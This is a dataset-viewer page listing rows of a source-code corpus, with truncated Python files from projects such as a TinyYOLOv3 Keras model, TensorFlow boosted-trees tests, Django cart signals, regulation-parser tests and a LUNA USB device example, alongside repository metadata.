] | null | null | null | Networks/TinyYOLOv3.py | erwangccc/Keras-yolov3 | 9d211e71218a4e4b744f5a86ad4833fd340351be | [
"Apache-2.0"
] | 1 | 2020-10-04T03:44:47.000Z | 2020-10-04T03:44:47.000Z | import tensorflow as tf
import numpy as np
import keras.backend.tensorflow_backend as K
from tensorflow.python.keras.layers import Conv2D, MaxPooling2D, BatchNormalization, Add, ZeroPadding2D, UpSampling2D, \
Input, Concatenate
from tensorflow.python.keras.layers.advanced_activations import LeakyReLU
from tensorflo... | 42.311258 | 120 | 0.616163 |
d5f0c22d6e042a28f54fea2d4505208a3f7258c0 | 7,259 | py | Python | tensorflow/python/kernel_tests/boosted_trees/resource_ops_test.py | tianyapiaozi/tensorflow | fb3ce0467766a8e91f1da0ad7ada7c24fde7a73a | [
"Apache-2.0"
] | 71 | 2017-05-25T16:02:15.000Z | 2021-06-09T16:08:08.000Z | tensorflow/python/kernel_tests/boosted_trees/resource_ops_test.py | shrikunjsarda/tensorflow | 7e8927e7af0c51ac20a63bd4eab6ff83df1a39ae | [
"Apache-2.0"
] | 133 | 2017-04-26T16:49:49.000Z | 2019-10-15T11:39:26.000Z | tensorflow/python/kernel_tests/boosted_trees/resource_ops_test.py | shrikunjsarda/tensorflow | 7e8927e7af0c51ac20a63bd4eab6ff83df1a39ae | [
"Apache-2.0"
] | 31 | 2018-09-11T02:17:17.000Z | 2021-12-15T10:33:35.000Z | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 30.245833 | 80 | 0.565643 |
d5f0cadfbf09eebb5ce3de7522b68c89986e8cc8 | 610 | py | Python | satchless/cart/signals.py | cajun-code/satchless | 068b26046c3af63268f8eecd6e33da2bbb78b8d1 | [
"BSD-4-Clause"
] | 1 | 2015-11-05T05:09:27.000Z | 2015-11-05T05:09:27.000Z | satchless/cart/signals.py | cajun-code/satchless | 068b26046c3af63268f8eecd6e33da2bbb78b8d1 | [
"BSD-4-Clause"
] | null | null | null | satchless/cart/signals.py | cajun-code/satchless | 068b26046c3af63268f8eecd6e33da2bbb78b8d1 | [
"BSD-4-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
from django import dispatch
# ☠ do not import models here. they import us. ☠
cart_quantity_change_check = dispatch.Signal(providing_args=['variant', 'old_qty', 'new_qty', 'result'])
cart_quantity_change_check.__doc___ = """
Sent to check if it is possible to change item's quantity to new value.... | 38.125 | 104 | 0.754098 |
d5f0e0afba04af81a8fd3f801a934897e05ba32a | 3,007 | py | Python | tests/history_delays_tests.py | cfpb/regulations-parser | 9b6e1ab2dbec93a915eb6da9a2d88c723b9ac424 | [
"CC0-1.0"
] | 36 | 2015-01-05T21:17:36.000Z | 2020-04-28T21:02:55.000Z | tests/history_delays_tests.py | DalavanCloud/regulations-parser | 9b6e1ab2dbec93a915eb6da9a2d88c723b9ac424 | [
"CC0-1.0"
] | 49 | 2015-01-28T15:54:25.000Z | 2018-08-20T20:20:08.000Z | tests/history_delays_tests.py | DalavanCloud/regulations-parser | 9b6e1ab2dbec93a915eb6da9a2d88c723b9ac424 | [
"CC0-1.0"
] | 23 | 2015-01-28T15:34:18.000Z | 2021-02-20T10:53:34.000Z | from unittest import TestCase
from regparser.history import delays
from regparser.grammar.delays import Notice
class HistoryDelaysTests(TestCase):
def test_modify_effective_dates(self):
outdated = {'document_number': 'outdated',
'effective_on': '2001-01-01',
'publi... | 47.730159 | 79 | 0.476555 |
d5f0e9c64fc9fccecddf5723f1450df571696bf4 | 2,710 | py | Python | examples/usb/simple_device.py | asaioe99/luna_JP | 276c9d86d2c964c7c4be149d721156d869c9489b | [
"BSD-3-Clause"
] | 1 | 2021-02-25T01:43:12.000Z | 2021-02-25T01:43:12.000Z | examples/usb/simple_device.py | kbeckmann/luna | befb33620d1c4267607a45f331b84bc196c7a8bf | [
"BSD-3-Clause"
] | null | null | null | examples/usb/simple_device.py | kbeckmann/luna | befb33620d1c4267607a45f331b84bc196c7a8bf | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
#
# This file is part of LUNA.
#
import os
from nmigen import Elaboratable, Module
from usb_protocol.emitters import DeviceDescriptorCollection
from luna import top_level_cli
from luna.gateware.usb.usb2.device import USBDevice
class... | 30.111111 | 87 | 0.585609 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.